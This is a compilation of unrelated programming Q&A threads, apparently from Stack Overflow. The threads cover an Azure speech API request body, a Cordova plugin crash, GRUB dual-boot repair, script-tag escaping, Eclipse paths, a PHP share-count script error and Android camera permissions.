Here is how I load the font using webpack 4
        {
            test: /\.(woff|ttf|otf|eot|woff2|svg)$/i,
            loader: "file-loader"
        }

You can read my full config here


text:
Q: Error while making azure speech to text api call via python I am trying to use Azure speech to text api, through python. Below is the code.
import http.client, urllib.request, urllib.parse, urllib.error, base64

headers = {
    # Request headers
    'Content-Type': 'application/json',
    'Ocp-Apim-Subscription-Key': '<my_subscription_key>',
}

params = urllib.parse.urlencode({
  "contentUrls": [
      "<URI_TO_MY_AUDIO_FILE>",
  ],
  "properties": {
  },
  "locale": "en-US",
  "displayName": "Transcription"
})

try:
    conn = http.client.HTTPSConnection('eastus.api.cognitive.microsoft.com')
    conn.request("POST", "/speechtotext/v3.0/transcriptions?%s" % params, "{body}", headers)
    response = conn.getresponse()
    data = response.read()
    print(data)
    conn.close()
except Exception as e:
    print("[Errno {0}] {1}".format(e.errno, e.strerror))

The error I am getting is:
b'{\r\n  "code": "InvalidPayload",\r\n  "message": "Invalid JavaScript property identifier character: }. Path \'\', line 1, position 5."\r\n}'

I believe I am setting my parameters wrong. Unable to find what's wrong.
Python version 3.7
Strangely the same HTTP request is successful when done via https://eastus.dev.cognitive.microsoft.com/docs/services/speech-to-text-api-v3-0/operations/CreateTranscription

A: Your POST request body is not supplied in the right format.
Please see the corrected code below:
import http.client
import json

headers = {
    # Request headers
    'Content-Type': 'application/json',
    'Ocp-Apim-Subscription-Key': '<my_subscription_key>',
}

body = {
  "contentUrls": [
      "<URI_TO_MY_AUDIO_FILE>",
  ],
  "properties": {
  },
  "locale": "en-US",
  "displayName": "Transcription"
}

try:
    conn = http.client.HTTPSConnection('eastus.api.cognitive.microsoft.com')
    conn.request("POST", "/speechtotext/v3.0/transcriptions", body=json.dumps(body), headers=headers)
    response = conn.getresponse()
    data = response.read()
    print(data)
    conn.close()
except Exception as e:
    print("[Errno {0}] {1}".format(e.errno, e.strerror))

Thanks,
Sen

A: I'd recommend switching to using the Python API rather than the REST API;
https://learn.microsoft.com/en-us/azure/cognitive-services/speech-service/get-started-speech-to-text?tabs=windowsinstall&pivots=programming-language-python
That looks like a weird error that could even be being caused by something in your audio file, so swapping to the Python API would probably give you a more useful error message.


text:
Q: NullPointerException: Attempt to invoke virtual method 'void org.apache.cordova.CordovaPlugin.privateInitialize I was working away on my cordova plugin doing some refactoring and I started to get this crash on startup:
--------- beginning of crash
12-12 21:42:29.791  4693  4693 E AndroidRuntime: FATAL EXCEPTION: main
12-12 21:42:29.791  4693  4693 E AndroidRuntime: Process: xyz.meris.app, PID: 4693
12-12 21:42:29.791  4693  4693 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{xyz.meris.app/xyz.meris.app.MainActivity}: java.lang.NullPointerException: Attempt to invoke virtual method 'void org.apache.cordova.CordovaPlugin.privateInitialize(java.lang.String, org.apache.cordova.CordovaInterface, org.apache.cordova.CordovaWebView, org.apache.cordova.CordovaPreferences)' on a null object reference
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3162)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3305)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:78)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:108)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:68)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1993)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.os.Handler.dispatchMessage(Handler.java:106)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.os.Looper.loop(Looper.java:216)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.ActivityThread.main(ActivityThread.java:7266)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at java.lang.reflect.Method.invoke(Native Method)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:494)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:975)
12-12 21:42:29.791  4693  4693 E AndroidRuntime: Caused by: java.lang.NullPointerException: Attempt to invoke virtual method 'void org.apache.cordova.CordovaPlugin.privateInitialize(java.lang.String, org.apache.cordova.CordovaInterface, org.apache.cordova.CordovaWebView, org.apache.cordova.CordovaPreferences)' on a null object reference
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at org.apache.cordova.PluginManager.getPlugin(PluginManager.java:171)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at org.apache.cordova.PluginManager.startupPlugins(PluginManager.java:97)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at org.apache.cordova.PluginManager.init(PluginManager.java:86)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at org.apache.cordova.CordovaWebViewImpl.init(CordovaWebViewImpl.java:117)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at org.apache.cordova.CordovaActivity.init(CordovaActivity.java:149)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at org.apache.cordova.CordovaActivity.loadUrl(CordovaActivity.java:224)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at xyz.meris.app.MainActivity.onCreate(MainActivity.java:39)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.Activity.performCreate(Activity.java:7353)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.Activity.performCreate(Activity.java:7344)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1275)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3142)
12-12 21:42:29.791  4693  4693 E AndroidRuntime:    ... 11 more
12-12 21:42:29.826  4693  4693 I Process : Sending signal. PID: 4693 SIG: 9

I hunted around and found some similar questions:

*

*android onActivityResult: Attempt to invoke virtual method on a null object reference

*Class Not Found Exception using custom cordova plugin
But the solutions did not work for me...

A: I got some clues from the other questions and because I was refactoring I had been working with the plugin.xml file.
I noticed that I had this difference from other plugin.xml files:
      <feature name="CDVProcessLog">
        <param name="android-package" value="xyz.meris.processlog.CDVProcessLog" />
        <param name="onload" value="true" />
      </feature>
      <feature name="ProcessLog">
        <param name="android-package" value="xyz.meris.processlog.ProcessLog" />
+       <param name="onload" value="true" />
      </feature>

Because I copied the <feature> tag and just filled it in I had copied the onload parameter.  Once I removed the duplicate onload parameter the crash stopped happening.
EDIT:
erp.  Turns out I had another error that was causing this issue.
Removing the onload param lazy loaded ProcessLog.  So I would get a null pointer error later.
My real problem was that my .js file did not get updated with my CordovaPlugin class name.  I had changed it from ProcessLogto CDVProcessLog.  ProcessLog now had the specifics for processing the log and CDVProcessLog had mostly cordova glue to call my methods in ProcessLog.
My .js file needed to change:
  return new Promise((resolve, reject) => {
-    exec(resolve, reject, 'ProcessLog', func, [...args]);
+    exec(resolve, reject, 'CDVProcessLog', func, [...args]);
  });

A: I had the same problem in an Ionic application. The problem was caused by missing Java packages in platforms/android/app/src/main/java of some plugins that were defined in config.xml. Usually the reason for that is adding/removing cordova plugins manually.
To solve the problem, see a list of all <feature> tags in your config.xml file and make sure the packages (folder & files) defined in its name attribute present in platforms/android/app/src/main/java.
<feature name="Device">
    <param name="android-package" value="org.apache.cordova.device.Device" />
</feature>
<feature name="SplashScreen">
    <param name="android-package" value="org.apache.cordova.splashscreen.SplashScreen" />
    <param name="onload" value="true" />
</feature>
<!-- etc. -->

To make search easier, look for the ClassNotFoundException in Android app's log files.
W/System.err: java.lang.ClassNotFoundException: org.apache.cordova.file.FileUtils


text:
Q: Help with dual boot, multi boot Windows 8 and Ubuntu I am using a netbook preloaded with Windows 7 Starter. This worked fine.
Then, In installed Ubuntu 10.4 and for a while, I could use BOTH Ubuntu and Windows as GRUB was automatically loaded with Ubuntu installation. I could choose which system OS to use upon load up.
Then, one day, Windows disappeared and I could not recover Windows, so I have been using Ubuntu 10.0.4 on this system for about 2 years.
Subsequently, Ubuntu 10.0.4 froze too many times, so I partitioned and installed Ubuntu 12.0.1.
Once again, GRUB 2 was automatically installed, and I could choose between UBUNTU 10 and 12 each boot up. This was fine but I never recovered my WINDOWS documents from the disappeared Windows 7 OS.
So recently, I installed WINDOWS 8 on a separate partition (about 20 GB), and set up a storage FAT 32 partition (for storage of files, both Ubuntu and Windows) so I don't have to reboot using the same files from different systems.
Windows loaded fine, and detected this partition. Windows as C: and the Partition as D:
However, both my UBUNTUs went missing.
Then, I set up UBUNTU STUDIO 12.0.1 on my USB stick and using the terminal, I managed to run BOOT-REPAIR. UBUNTU STUDIO shows my UBUNTU 10.4.0 drive as existent but UBUNTU 12 is not detected, with all the files missing.
In place of the UBUNTU 12 drive, it now only shows UNALLOCATED SPACE.
QUESTION: How can I reactivate both UBUNTU 12, the old WINDOWS 7, windows 8, on a multi-boot strategy so that I can choose from different OS each time I reboot, with GRUB LOADER showing and letting me choose??
Upon reboot, my netbook shows NO OS FOUND, and the only way I can even work the computer is to use the USB LIVE UBUNTU STUDIO 12.
But I can't get the netbook to multi-boot on its own any of the system and all my files are frozen!!
Can someone help me? I have been surfing the web for days and spent 3 days and nights figuring this out and my neck is sprained and hurts. How can I access my files?
If this is not possible, I just want my UBUNTU back and not WINDOWS 8 cos the problem seems to have started when I installed WINDOWS 8, and I don't have files on that System OS, so I can afford to delete that.
Ideally, I would like to be able to multi boot all three systems from GRUB LOADER, but that doesn't seem to work. Each time I reinstall GRUB, it only shows the previous sessions of UBUNTU 10.0.1. All the rest are not detectable.
Please help.
This is what my fdisk -l shows
ubuntu-studio@ubuntu-studio:~$ sudo fdisk -l
Disk /dev/sda: 320.1 GB, 320072933376 bytes
255 heads, 63 sectors/track, 38913 cylinders, total 625142448 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00072a92
Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048   156934143    78466048   83  Linux
/dev/sda2       156934144   283422719    63244288    b  W95 FAT32
/dev/sda3       283422720   325584895    21081088    7  HPFS/NTFS/exFAT
/dev/sda4       325586942   625141759   149777409    5  Extended
/dev/sda5       619190272   625141759     2975744   82  Linux swap / Solaris
Disk /dev/sdb: 4007 MB, 4007657472 bytes
61 heads, 21 sectors/track, 6110 cylinders, total 7827456 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0009e302
Device Boot      Start         End      Blocks   Id  System
/dev/sdb1   *          63     7827455     3913696+   b  W95 FAT32

A:
This was fine but I never recovered my WINDOWS documents from the disappeared Windows 7 OS.

Things just don't happen by themselves - you should have been able to access all the documents on your windows partition from within ubuntu.
Sounds like you've made a right hash of your system! When you install ubuntu it should detect the windows and other ubuntu installations and give you the option to install the new operating system side by side. The new boot loader should also feature the previous OSs - I can't say the same for windows though.
My advice - wipe the whole machine. You have backups of your documents don't you?
Install windows (if you must).  DO NOT allocate the entire drive to windows. Leave enough for ubuntu.
THEN install ubuntu - it should detect the windows installation. It should work.

A: TRY THESE.....
Boot on your Ubuntu-Secure disk
Choose "Try Ubuntu"
Connect internet
Open a terminal and type the following command (this will update Boot-Repair):
"sudo apt-get update; sudo apt-get install -y boot-repair boot-sav"
Run Boot-Repair, click "Recommended Repair". Write on a paper the new URL that will appear.
Reboot the pc, you should get a GRUB menu with access to both Ubuntu and Windows.
If any problem, indicate the new URL.

A: 1). Use ubuntu live cd .
2). Mount all the disk partitions.
3). Update the grub "update-grub2".
 It will list all the os in your system.


text:
Q: Is it possible to correctly escape arbitrary script tag contents? Question about ETAGO - end-tag open: Given a string, is it possible to safely escape it in a generic way for insertion into a sprintf style template like:
<!DOCTYPE HTML>

    <title>tag demo</title>

I've seen descriptions that show how to escape various specific strings, but nothing generic.
Is it really true that such escaping is impossible in a generic way?
Here are some edge cases:
<!DOCTYPE HTML>

    <title>tag demo</title>

        var lessthan2 = 42 </script/;
        // Is this still being run?
        console.log ("still here");
    </script>

This is not valid HTML since the </script sequence is found inside the script tag's "weird" lines. If I move the inner HTML from the script tag to an external .js file, still here gets logged to the console, and I believe it to be valid javascript, just not valid HTML when inside a script tag. Is there some safe generic way to escape a javascript (or css? or type="foo/bar"?) string for insertion into a script tag?

A: No, it doesn't seem possible. The spec says (modulo hacks to make it appear in markdown here):

4.12.1.3 Restrictions for contents of script elements
The easiest and safest way to avoid the rather strange restrictions described in this section is to always escape "


text:
Q: Is Eclipse(IDE) directory dependant I wanted to find out if Eclipse is directory dependent. In other words, will the location that your package is stored on affect whether or not you will be able to run a program.
I am asking this because I am a university student and have to upload my work remotely, and if our projects do not run on the campus computers our work wont be marked
If Eclipse is directory dependent, do you have any other recommendations in terms of IDEs or text editors that will be able to save my work in a .java format

A: Everything in an Eclipse workspace uses paths which are relative to the workspace root so you should be able to move the whole workspace to another location without problem.


text:
Q: Parse error: syntax error, unexpected T_OBJECT_OPERATOR with script from sharrre.php I need to run this script on my site and I have no experience at all with PHP
When I call the following script
<?php
  //Sharrre by Julien Hany
  $json = array('url'=>'','count'=>0);
  $json['url'] = $_GET['url'];
  $url = urlencode($_GET['url']);
  $type = urlencode($_GET['type']);

  if(filter_var($_GET['url'], FILTER_VALIDATE_URL)){
    if($type == 'googlePlus'){  //source http://www.helmutgranda.com/2011/11/01/get-a-url-google-count-via-php/
      $content = parse("https://plusone.google.com/u/0/_/+1/fastbutton?url=".$url."&count=true");

      $dom = new DOMDocument;
      $dom->preserveWhiteSpace = false;
      @$dom->loadHTML($content);
      $domxpath = new DOMXPath($dom);
      $newDom = new DOMDocument;
      $newDom->formatOutput = true;

      $filtered = $domxpath->query("//div[@id='aggregateCount']");
      $json['count'] = str_replace('>', '', $filtered->item(0)->nodeValue);
    }
    else if($type == 'stumbleupon'){
      $content = parse("http://www.stumbleupon.com/services/1.01/badge.getinfo?url=$url");

      $result = json_decode($content);
      $json['count'] = $result->result->views;
      if( !isset($json['count']) ) $json['count'] = 0;
    }
    else if($type == 'pinterest'){
      $content = parse("http://api.pinterest.com/v1/urls/count.json?callback=&url=$url");

      $result = json_decode(str_replace(array('(', ')'), array('', ''), $content));
      $json['count'] = $result->count;
      if( !isset($json['count']) ) $json['count'] = 0;
    }
  }
  echo str_replace('\\/','/',json_encode($json));

  function parse($encUrl){
    $options = array(
      CURLOPT_RETURNTRANSFER => true, // return web page
      CURLOPT_HEADER => false, // don't return headers
      CURLOPT_FOLLOWLOCATION => true, // follow redirects
      CURLOPT_ENCODING => "", // handle all encodings
      CURLOPT_USERAGENT => 'sharrre', // who am i
      CURLOPT_AUTOREFERER => true, // set referer on redirect
      CURLOPT_CONNECTTIMEOUT => 5, // timeout on connect
      CURLOPT_TIMEOUT => 10, // timeout on response
      CURLOPT_MAXREDIRS => 3, // stop after 10 redirects
      CURLOPT_SSL_VERIFYHOST => 0,
      CURLOPT_SSL_VERIFYPEER => false,
    );
    $ch = curl_init();

    $options[CURLOPT_URL] = $encUrl;
    curl_setopt_array($ch, $options);

    $content = curl_exec($ch);
    $err = curl_errno($ch);
    $errmsg = curl_error($ch);

    curl_close($ch);

    if ($errmsg != '' || $err != '') {
      /*print_r($errmsg);
      print_r($errmsg);*/
    }
    return $content;
  }
?>

I get the following error:
Parse error: syntax error, unexpected T_OBJECT_OPERATOR on line 20

line 20
$json['count'] = str_replace('>', '', $filtered->item(0)->nodeValue);

Any suggestions to help me figure that problem.
Thank you.
This is the link to the file
https://bizonbytes.com/miscellaneous/sharrre.php?url=https%3A%2F%2Fbizonbytes.com%2F&type=googlePlus
I also have a test file to make sure php is working
https://bizonbytes.com/miscellaneous/test.php
I updated the php version to 5 and it works now when I run
http://bizonbytes.com/miscellaneous/sharrre.php
but if I try the following
https://bizonbytes.com/miscellaneous/sharrre.php?url=https%3A%2F%2Fbizonbytes.com%2F&type=googlePlus
I get the following error:
Warning: curl_setopt_array() [function.curl-setopt-array]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in C:\Inetpub\vhosts\bizonbytes.com\httpdocs\miscellaneous\sharrre.php on line 56
{"url":"https://bizonbytes.com/","count":""}

I've look inside the ini file and its marked safe_mode = off and I'm not sure what to put for open_basedir

A: The method chaining feature used here was not introduced until version 5:
$filtered->item(0)->nodeValue

You'll need a more modern version in order to run this code. Alternatively, you could manually unstack the calls into temporary variables:
$temp = $filtered->item(0);
$json['count'] = str_replace('>', '', $temp->nodeValue);

(Striking out previous incorrect answer:)

This is your error:
$filtered->item(0)->nodeValue

I'm guessing it should be:
$filtered->item[0]->nodeValue

I.e., referencing the first element of an array, versus calling a
  method on an object.


text:
Q: Android permission granting keep failing with massage "Package installer has stopped" I want to use ZXingScannerView, to read QR-code with my app.
I need to grant camera permission to use ZXingScannerView, right?
The view doesn't work for some reason which I don't know.
Anyway, I thought so, so I tried to grant permission, but it keeps failing, saying "Package installer has stopped".
I think the bug is occur on line
if(permissioncheck == PackageManager.PERMISSION_GRANTED)
Here is entire code
ZXingScannerView mScanview;

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    int permissioncheck = ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA);
    if(permissioncheck == PackageManager.PERMISSION_GRANTED){
        Toast.makeText(this, "ok", Toast.LENGTH_SHORT).show();
    }

    else {
        Toast.makeText(this, "not ok", Toast.LENGTH_SHORT).show();
        if(ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.CAMERA)) {
            Toast.makeText(this, "ok?", Toast.LENGTH_SHORT).show();
        }
        else {
            ActivityCompat.requestPermissions(this, new String[] {Manifest.permission.CAMERA}, 1);
        }
    }

    Button button = (Button)findViewById(R.id.qr_button);
    button.setOnClickListener(new View.OnClickListener(){
        @Override
        public void onClick(View view){

            Toast.makeText(getApplicationContext(), "OK", Toast.LENGTH_SHORT).show();

            mScanview = new ZXingScannerView(getApplicationContext());
            setContentView(mScanview);

        }
    });

}

@Override
public void onRequestPermissionsResult(int reqCode, String permissions[], int[] grantResult){
    switch (reqCode){
        case 1: {
            if(grantResult.length > 0 && grantResult[0] == PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(this, "ok", Toast.LENGTH_SHORT).show();
            }
            else {
                Toast.makeText(this, "not ok", Toast.LENGTH_SHORT).show();
            }

            return;
        }
    }
}

@Override
public void handleResult(Result result){
    Log.v("TAG", result.getText());
    Log.v("TAG", result.getBarcodeFormat().toString());
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setTitle("Scan Result");
    builder.setMessage(result.getText());
    AlertDialog dialog = builder.create();
    dialog.show();
}

@Override
public void onPause() {
    super.onPause();
    mScanview.stopCamera();
}

Or, if you know better way of implementing QR-code reader in app, Could you let me know about that?